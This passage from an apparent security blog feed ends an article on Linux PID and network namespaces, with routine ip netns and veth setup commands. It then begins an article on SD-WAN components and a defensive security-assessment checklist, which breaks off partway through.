&lt;p>A process in a new PID namespace can be created by providing the &lt;code>CLONE_NEWPID&lt;/code> flag. When using the same flag in combination with &lt;code>unshare&lt;/code> or when calling &lt;code>setns&lt;/code>, a new PID namespace will be created. This namespace is present in the &lt;code>/proc/&amp;lt;PID&amp;gt;/ns/pid_for_children&lt;/code> file. The process calling &lt;code>unshare&lt;/code> or &lt;code>setns&lt;/code> will &lt;em>stay&lt;/em> in its current namespace. Instead, the first child of this process will be placed in the new namespace with a PID value of &lt;code>1&lt;/code>, making it the container&amp;rsquo;s &lt;code>init&lt;/code> process. This results from the assumption of many libraries and applications: PIDs of processes are not subject to change. By joining a new namespace at runtime, the identifier of a process would change. In fact, even C library functions like &lt;code>getpid&lt;/code> cache the PIDs of processes [1].&lt;/p>
&lt;p>Ever since PID namespaces have been implemented, PIDs are represented by a kernel structure called &lt;code>pid&lt;/code>. In combination with the &lt;code>upid&lt;/code> structure (&lt;code>include/linux/pid.h&lt;/code>) it&amp;rsquo;s possible to determine the correct &lt;code>pid&lt;/code> structure as seen in a specific PID namespace.&lt;/p>
&lt;h2 id="network-namespaces">Network Namespaces&lt;/h2>
&lt;p>This namespace can enable processes to have their own private network stack, including interfaces, routing tables and sockets [2]. The corresponding &lt;code>clone&lt;/code> flag is &lt;code>CLONE_NEWNET&lt;/code> and the &lt;code>ip&lt;/code> CLI application is available to manage network namespaces easily. The &lt;code>ip netns&lt;/code> command is able to create a new permanent network namespace. This is being accomplished by bind-mounting &lt;code>/proc/self/ns/net&lt;/code> to &lt;code>/var/run/netns/&amp;lt;Name of namespace&amp;gt;}&lt;/code>. Using this, configuration can take place without moving processes to the namespace first.&lt;/p>
&lt;p>To create a network namespace from the command line, the &lt;code>ip netns add&lt;/code> is used as follows:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">root@box:~# ip netns add one &lt;span style="color:#999;font-style:italic"># Create a network namespace&lt;/span>
root@box:~# strace ip netns add two &lt;span style="color:#999;font-style:italic"># Trace the creation&lt;/span>
[...]
unshare(CLONE_NEWNET) = &lt;span style="color:#3677a9">0&lt;/span>
mount(&lt;span style="color:#ed9d13">&amp;#34;/proc/self/ns/net&amp;#34;&lt;/span>, &lt;span style="color:#ed9d13">&amp;#34;/var/run/netns/two, [...]) = 0
&lt;/span>&lt;span style="color:#ed9d13">[...]
&lt;/span>&lt;span style="color:#ed9d13">root@box:~# ip netns exec one ip link # Execute command in NS
&lt;/span>&lt;span style="color:#ed9d13">1: lo: &amp;lt;LOOPBACK&amp;gt; mtu 65536 qdisc noop state DOWN mode DEFAULT [...]
&lt;/span>&lt;span style="color:#ed9d13"> link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>As seen in the output listed above, adding a new network namespace is accomplished by following these steps:&lt;/p>
&lt;ul>
&lt;li>Entering a new network namespace by using &lt;code>unshare&lt;/code> with the &lt;code>CLONE_NEWNET&lt;/code> flag&lt;/li>
&lt;li>Executing the mount operation mentioned above&lt;/li>
&lt;/ul>
&lt;p>Deleting a network namespace can be done analogous. However, a namespace only gets destroyed in case all processes residing in the namespace are terminated. Otherwise it&amp;rsquo;s marked for deletion.&lt;/p>
&lt;p>By default a new network namespace comes with its own local interface which is down by default. To perform the configuration of a namespace it may be convenient to spawn a shell in the desired network namespace with &lt;code>ip netns exec &amp;lt;name&amp;gt; bash&lt;/code>. Among others, the following configuration scenarios are possible:&lt;/p>
&lt;ul>
&lt;li>Linking network namespaces in order to provide a way for different namespaces to communicate by creating a network bridge.&lt;/li>
&lt;li>Routing a network namespace through the host network stack to enable internet access.&lt;/li>
&lt;li>Assigning a physical interface to a namespace. Please note that each network interface belongs to exactly one namespace at a given point of time. The same is true for sockets.&lt;/li>
&lt;/ul>
&lt;p>To enable the communication between the default network namespace and another namespace, virtual interfaces can be of use. These interfaces come in pairs of two - In this example &lt;code>veth0&lt;/code> and &lt;code>veth1&lt;/code> allowing a pipe-like communication:&lt;/p>
&lt;div class="highlight">&lt;pre style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4">&lt;code class="language-bash" data-lang="bash">&lt;span style="color:#999;font-style:italic"># Create the virtual interface pair&lt;/span>
root@box:~# ip link add veth0 &lt;span style="color:#24909d">type&lt;/span> veth peer name veth1
&lt;span style="color:#999;font-style:italic"># Move veth1 to the namespace named `one`&lt;/span>
root@box:~# ip link &lt;span style="color:#24909d">set&lt;/span> veth1 netns one
&lt;span style="color:#999;font-style:italic"># Set the IP for veth1 in the new namespace&lt;/span>
root@box:~# ip netns &lt;span style="color:#24909d">exec&lt;/span> one ifconfig veth1 10.1.1.1/24 up
&lt;span style="color:#999;font-style:italic"># Set the IP in the default namespace&lt;/span>
root@box:~# ifconfig veth0 10.1.1.2/24 up
&lt;/code>&lt;/pre>&lt;/div>&lt;p>As seen above it&amp;rsquo;s possible to move an interface to a different namespace. This can for example be used to enable the communication between containers, similar to the functionality provided by &lt;code>docker --link&lt;/code>. Therefore private container networks can be built that are isolated from the host and other containers on a host. Also, internet access for containers can be provided this way. While the Docker platform does this by default using a bridge network, it may be necessary to configure parts of this aspect manually for other container engines.&lt;/p>
&lt;p>Moving an interface back to the default network namespace is accomplished with the command &lt;code>ip link set eth0 netns 1&lt;/code>: It detects the correct namespace according to the specified PID with value &lt;code>1&lt;/code>, allowing administrators to identify namespaces by the process identifiers present in a given namespace. Moving interfaces between namespaces is implemented in the &lt;code>dev_change_net_namespace&lt;/code> function of the Linux kernel [3]. Besides stopping and moving the desired interface it also notifies all processes using the interface in order to flush the message chains.&lt;/p>
&lt;p>A common use-case for network namespaces is running multiple services binding to the same port on a single machine. This works by allocating a different port in the host&amp;rsquo;s network namespace for each port that&amp;rsquo;s being exposed by a container network namespace. Therefore all containerized web services can be configured to run on the default port &lt;code>80&lt;/code> while they are being exposed on an entirely different port. Consequently applications do not require information on the real port that&amp;rsquo;s being used to expose the service and the host system can map ports freely. This provides a certain degree of portability when deploying containers that use network functionality.&lt;/p>
&lt;h2 id="next-post-in-series">Next post in series&lt;/h2>
&lt;ul>
&lt;li>Continue reading the next article in this series &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/linux-container-namespaces04-user"
class="link-background inline split"
>
&lt;span class="link-label">Namespace&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;br/> Follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date.&lt;/li>
&lt;/ul>
&lt;h2 id="credits">Credits&lt;/h2>
&lt;p>&lt;em>Credits: The elaboration and software project associated to this subject are results of a Master&amp;rsquo;s thesis created at SCHUTZWERK in collaboration with Aalen University by Philipp Schmied.&lt;/em>&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/532748/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">1&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532748/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532748/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532748/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532748/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">operation,&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532748/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532748/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">4:&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532748/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">more&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532748/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">on&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532748/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PID&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/532748/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://lwn.net/Articles/580893/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">2&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/580893/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/580893/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Namespaces&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/580893/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/580893/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">operation,&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/580893/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/580893/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">7:&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/580893/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Network&lt;/span>
&lt;/a>&lt;a
href="https://lwn.net/Articles/580893/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">namespaces&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/dev.c?h=master#n9098#n9098"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3&lt;/span>
&lt;/a>&lt;a
href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/dev.c?h=master#n9098#n9098"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/dev.c?h=master#n9098#n9098"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">dev.c&lt;/span>
&lt;/a>&lt;a
href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/dev.c?h=master#n9098#n9098"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/dev.c?h=master#n9098#n9098"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Protocol&lt;/span>
&lt;/a>&lt;a
href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/dev.c?h=master#n9098#n9098"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">independent&lt;/span>
&lt;/a>&lt;a
href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/dev.c?h=master#n9098#n9098"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">device&lt;/span>
&lt;/a>&lt;a
href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/dev.c?h=master#n9098#n9098"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">support&lt;/span>
&lt;/a>&lt;a
href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/core/dev.c?h=master#n9098#n9098"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">routines&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Title&lt;/span>
&lt;/a>&lt;a
href="https://www.pexels.com/de-de/foto/bunt-business-container-einfuhren-163726/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Image&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>Security in SD-WAN</title><link>https://www.schutzwerk.com/en/blog/sd-wan/</link><author>René Hoffmann</author><pubDate>Mon, 10 Aug 2020 15:38:00 +0200</pubDate><category>network security</category><description>
&lt;p>A software-defined wide area network (SD-WAN) can be seen as a combination of a software-defined networking (SDN) technology and a Wide Area Network (WAN) using common connections such as the Internet or Multiprotocol Label Switching (MPLS), a routing technique often used by service providers. But how does an SD-WAN look like and what are its implications on security? And how do the initial steps for a security assessment look like? This article is about to clarify those questions and provides an SD-WAN security assessment checklist at the end.&lt;/p>
&lt;h2 id="drawbacks-in-a-traditional-wan">Drawbacks in a traditional WAN&lt;/h2>
&lt;p>In a traditional WAN problems may occur because of the given components and architecture. Often there is a &lt;strong>heterogeneous mix&lt;/strong> of different devices from several vendors. As the devices may use different &lt;strong>proprietary protocols&lt;/strong> to communicate, administrating all of them might be difficult. Although there are management tools which try to centralize the administration and help to manage the WAN they are limited in their functionality. Moreover, if a device has reached its limit in computational power it will probably need to be exchanged entirely. A change of only the respective part, e.g., the CPU of a router is nearly impossible to handle. Therefore, increasing (or decreasing) hardware power is accompanied by maintenance windows and &lt;strong>increased costs&lt;/strong>.&lt;/p>
&lt;h2 id="properties-of-sd-wan">Properties of SD-WAN&lt;/h2>
&lt;p>A software-defined Wide Area Network (SD-WAN) has several advantages compared to a traditional WAN. It is more &lt;strong>agile&lt;/strong> during the provisioning of new devices and more &lt;strong>flexible&lt;/strong> for adjusting the network traffic.
Another big advantage is the possibility to &lt;strong>program&lt;/strong> the network through the use of Application Programming Interfaces (APIs). A direct connection between the application and network is established. Therefore, the behavior of a network device and the traffic flow in the network is handled by software which operates independently from the network hardware. In the end a fully programmable network enables the re-programmability of the network infrastructure instead of having to re-build it manually, e.g., by replacing hardware devices. A &lt;strong>central management&lt;/strong> based on a so called controller is given. Therefore, administrators have a better overview of the network.&lt;/p>
&lt;h2 id="basic-components-of-an-sd-wan">Basic components of an SD-WAN&lt;/h2>
&lt;p>In general there are two technologies behind a SD-WAN which are &lt;strong>Network Functions Virtualization (NFV)&lt;/strong> and &lt;strong>Software-defined Networking (SDN)&lt;/strong>. NFV leverages standard IT virtualization technology to consolidate many network equipment types onto industry standard servers. That means instead of using many different expensive proprietary hardware devices only standard x86 servers are needed. On these servers full network devices like routers, switches or firewalls are running as virtual machines (VMs). A related concept to NFV is VNF. &lt;strong>Virtual network functions (VNF)&lt;/strong> are only carrying out specific tasks like Network Address Translation (NAT) or Domain Name System (DNS) on a standard server instead of virtualizing complete devices. Therefore individual VNFs can be seen as the primary component of an overall NFV architecture, because for virtualization of a whole network device several virtualized network functions are required.&lt;/p>
&lt;p>There is no single precise definition of the term SDN. Most definitions have in common to declare an SDN to be the physical separation of the network &lt;strong>control plane&lt;/strong> from the forwarding &lt;strong>data plane&lt;/strong>. Mostly, the control plane controls several devices. The following figure illustrates some differences between SDN and NFV.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/sd-wan/SDN-vs-NFV-comparison_meitu_1_hu160ef3620a4eb806cfee498d441f5b1a_355342_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/sd-wan/SDN-vs-NFV-comparison_meitu_1_hu160ef3620a4eb806cfee498d441f5b1a_355342_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/sd-wan/SDN-vs-NFV-comparison_meitu_1_hu160ef3620a4eb806cfee498d441f5b1a_355342_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/sd-wan/SDN-vs-NFV-comparison_meitu_1.jpg"
width="1157"
height="569"
alt="SDN-vs-NFV"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
SDN-vs-NFV&lt;/figcaption>
&lt;/figure>
&lt;p>The definition of an SDN also applies to a SD-WAN. An SDN and an SD-WAN therefore share the same concept but are used in different environments. The SDN started out in data centers whereas the SD-WAN is used in Wide Area Networks. It might seem that there is just a little difference between SDN and SD-WAN but regarding security there is a big difference whether a solution is used internally (in the own data center) or externally (maybe even over the Internet).&lt;/p>
&lt;p>The purpose of the control plane is to make decisions regarding protocols such as routing, spanning tree, authentication, Simple Network Management Protocol (SNMP), etc., by performing computations on a CPU. This task is shifted to a dedicated device which is often called an &lt;strong>SD-WAN Controller&lt;/strong>. Therefore, an SD-WAN Controller is the “brain” of the SD-WAN solution. The controller makes all decisions and instructs the SD-WAN Edge devices to act on these decisions.&lt;/p>
&lt;p>The data plane usually runs on dedicated hardware ASICs which take control of the actual forwarding of the traffic such as Layer 2&lt;code>/&lt;/code>3 Switching or MPLS Switching. Devices in an SD-WAN (physical or virtual) which are in charge of traffic forwarding are often called &lt;strong>SD-WAN Edges&lt;/strong> as they are placed at the perimeter of the network, e.g., to connect branches to the main office.
Their main purpose is the forwarding of traffic within the SD-WAN which is done over encrypted tunnels. Besides, SD-WAN Edges can be configured to act as enforcers of the security policy and to conduct WAN optimization tasks. For configuration of an SD-WAN Edge an automated process called &lt;strong>Zero Touch Provisioning&lt;/strong> (ZTP) is used. Because of the ZTP process an SD-WAN Edge only needs to be powered on and connected to a LAN and a WAN port. The SD-WAN Edge device will automatically establish the required connections to get any necessary configuration e.g. for connecting the new branch to the main office.&lt;/p>
&lt;p>Most SD-WAN solutions consist of several more components beyond an SD-WAN Controller and an SD-WAN Edge. Still, those two types of devices occur in nearly every solution. Nevertheless, the naming, the specific amount of various devices, and their exact task might differ from vendor to vendor. For instance there is most likely some kind of &lt;strong>management plane&lt;/strong> in place since a central management is a key aspect of an SDN. The management plane consists of a service with a user interface such as a WebUI for the administrators to manage the network. The service can be called an &lt;strong>SD-WAN Manager&lt;/strong>.&lt;/p>
&lt;p>Additionally, other services like databases might be performed by the SD-WAN Manager. In case of multiple SD-WAN Managers it can be helpful to have an &lt;strong>orchestration plane&lt;/strong> as well. A &lt;strong>Service Orchestrator&lt;/strong> within that plane is used for the overall deployment of several SD-WAN Managers with their respective SD-WAN Controllers and SD-WAN Edges. In the following figure a basic overview of the SD-WAN components is shown.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/sd-wan/overview_huee12936e4545d022ac64aa1865154d7b_26287_320x0_resize_lanczos_2.png">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/sd-wan/overview_huee12936e4545d022ac64aa1865154d7b_26287_640x0_resize_lanczos_2.png">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/sd-wan/overview_huee12936e4545d022ac64aa1865154d7b_26287_1280x0_resize_lanczos_2.png">
&lt;img
src="https://www.schutzwerk.com/en/blog/sd-wan/overview.png"
width="981"
height="676"
alt="Overview-of-SD-Wan-components"
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Overview-of-SD-Wan-components&lt;/figcaption>
&lt;/figure>
&lt;p>The naming of the SD-WAN devices in this article is based on the work of MEF: &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.mef.net/mef-3-0-sd-wan"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">MEF&lt;/span>
&lt;/a>&lt;a
href="https://www.mef.net/mef-3-0-sd-wan"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">3.0&lt;/span>
&lt;/a>&lt;a
href="https://www.mef.net/mef-3-0-sd-wan"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SD-WAN&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/p>
&lt;h2 id="current-state-of-sd-wan-security">Current state of SD-WAN security&lt;/h2>
&lt;p>SD-WAN products are almost always in the early stages of development. A lot of open source projects are outdated or unsupported. Regarding the current state of security in SD-WAN solutions it can be stated that it is still a bleeding edge technology. Meaning that even service providers do not have much experience in implementing SD-WAN products. Therefore the main focus lies on the implementation of the functionality. Security is of secondary consideration.&lt;/p>
&lt;p>Often there are only minor issues in the design (insufficient Role Based Access Control (RBAC), no Multi-Factor Authentication (MFA),&amp;hellip;), but the actual implementation is frequently missing basic security features. Especially the web interfaces are prone to vulnerabilities. Moreover, there is a lot of potential for privilege escalation vulnerabilities when interacting with the devices via CLI or SSH. Another aspect to consider is the partly fast deliverance of patches by the vendors to fix vulnerabilities as well as broken functionalities. Often patches can not be applied that fast because their impact on the network stability needs to be tested first resulting in the use of outdated software in productive environments.&lt;/p>
&lt;p>Because of the usage of rapidly evolving products additional issues occur. Regarding the (security) documentation it has to be noted that an incomplete documentation may arise during the implementation of a new SD-WAN because the product itself is still subject to changes and workarounds might be needed to fix broken functionalities. Therefore tasks such as performing a risk analysis can be difficult.&lt;/p>
&lt;p>All in all the security in SD-WAN solutions can be considered in its infancy.&lt;/p>
&lt;h2 id="sd-wan-security-assessment-checklist">SD-WAN Security Assessment Checklist&lt;/h2>
&lt;p>The attack surface of a SD-WAN solution strongly depend on the actual implementation and use case. Since there is no standard SD-WAN solution every vendor-specific product or free and open source solution will be different. To address this issue the following proposals are formulated generically so that they can be applied to as much SD-WAN solutions as possible.&lt;/p>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/sdnewhop/sdwannewhope/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">SD-WAN&lt;/span>
&lt;/a>&lt;a
href="https://github.com/sdnewhop/sdwannewhope/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">New&lt;/span>
&lt;/a>&lt;a
href="https://github.com/sdnewhop/sdwannewhope/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Hop&lt;/span>
&lt;/a>&lt;a
href="https://github.com/sdnewhop/sdwannewhope/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Project&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
released a checklist for an initial security assessment. The following checklist is based on their work.&lt;/p>
&lt;h3 id="common">Common&lt;/h3>
&lt;ul>
&lt;li>What third-party components and libraries are used?
&lt;ul>
&lt;li>How secure are these?&lt;/li>
&lt;li>Would a change in any external component be noticed?&lt;/li>
&lt;li>Are the components used in their latest versions?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Run host auditing tools (e.g. like &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://cisofy.com/lynis/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">lynis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
) on each node and assess the hardening level.&lt;/li>
&lt;li>Run a host-based vulnerability scanner (e.g. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://vulners.com"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">vulners&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
) and assess the patch management level.&lt;/li>
&lt;li>If certificates are used, how are they managed?
&lt;ul>
&lt;li>Check the renewal process.&lt;/li>
&lt;li>Are there revocation processes like Certificate Revocation List (CRL) or Online Certificate Status Protocol (OCSP) implemented?&lt;/li>
&lt;li>Who issues the certificates? A third-party?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Are there any out-dated versions of software used?
&lt;ul>
&lt;li>Search for known vulnerabilities and CVEs.&lt;/li>
&lt;li>Why is the software outdated?
&lt;ul>
&lt;li>Missing patch management?&lt;/li>
&lt;li>Instable patches by vendor?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How is the network isolation / VPN segregation realized?&lt;/li>
&lt;li>Identify all publicly exposed components (Internet or e.g. cloud internal)
&lt;ul>
&lt;li>Scan these components with a vulnerability scanners (e.g. &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.tenable.com/products/nessus"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Nessus&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
).&lt;/li>
&lt;li>Are the components scanned on a regular basis?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If you have console or remote access, try to interact with the underlying OS (mostly *nix based).
&lt;ul>
&lt;li>Keep known CVE&amp;rsquo;s in mind.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Are there any connections to legacy networks?
&lt;ul>
&lt;li>What data is transferred between the SD-WAN and the legacy network?&lt;/li>
&lt;li>Check for any route redistribution (e.g., via BGP).&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>If possible review the configuration of the components.&lt;/li>
&lt;li>What happens if direct changes to the configuration of a SD-WAN Edge are made e.g. by CLI?
&lt;ul>
&lt;li>Are the changes noted e.g. by the SD-WAN Controller and corrected?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="management">Management&lt;/h3>
&lt;ul>
&lt;li>Is there a security monitoring?
&lt;ul>
&lt;li>What happens in case of a security event or incident?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>What operational processes are in place?&lt;/li>
&lt;li>How is the configuration management realized?
&lt;ul>
&lt;li>Who is able to make changes to the configuration?&lt;/li>
&lt;li>Are changes to the configuration logged?&lt;/li>
&lt;li>Is the configuration management documented?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Is a vulnerability and incident management process established?
&lt;ul>
&lt;li>What happens in case of an incident?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>How are the requirements on availability? Is the fail-over process tested and documented?&lt;/li>
&lt;li>How is change and patch management realized?&lt;/li>
&lt;li>Is there a provisioning and de-provisioning process in place and documented?&lt;/li>
&lt;li>Is there a appropriate backup process in place?&lt;/li>
&lt;/ul>
&lt;h3 id="architecture">Architecture&lt;/h3>
&lt;ul>
&lt;li>Is a vendor-controlled cloud management interface used within the architecture?&lt;/li>
&lt;li>Are the devices physical or virtual?
&lt;ul>
&lt;li>Check for missing secure elements like Trusted Platform Modules (TPMs) or preinstalled certificates on virtual devices.&lt;/li>
&lt;li>In case of a physical device check for the physical security.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Identify all APIs or API middleware.
&lt;ul>
&lt;li>Check the APIs for possible abuse.&lt;/li>
&lt;li>How is authentication implemented?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="zero-touch-provisioning">Zero Touch Provisioning&lt;/h3>
&lt;ul>
&lt;li>How does a network device get its initial configuration?
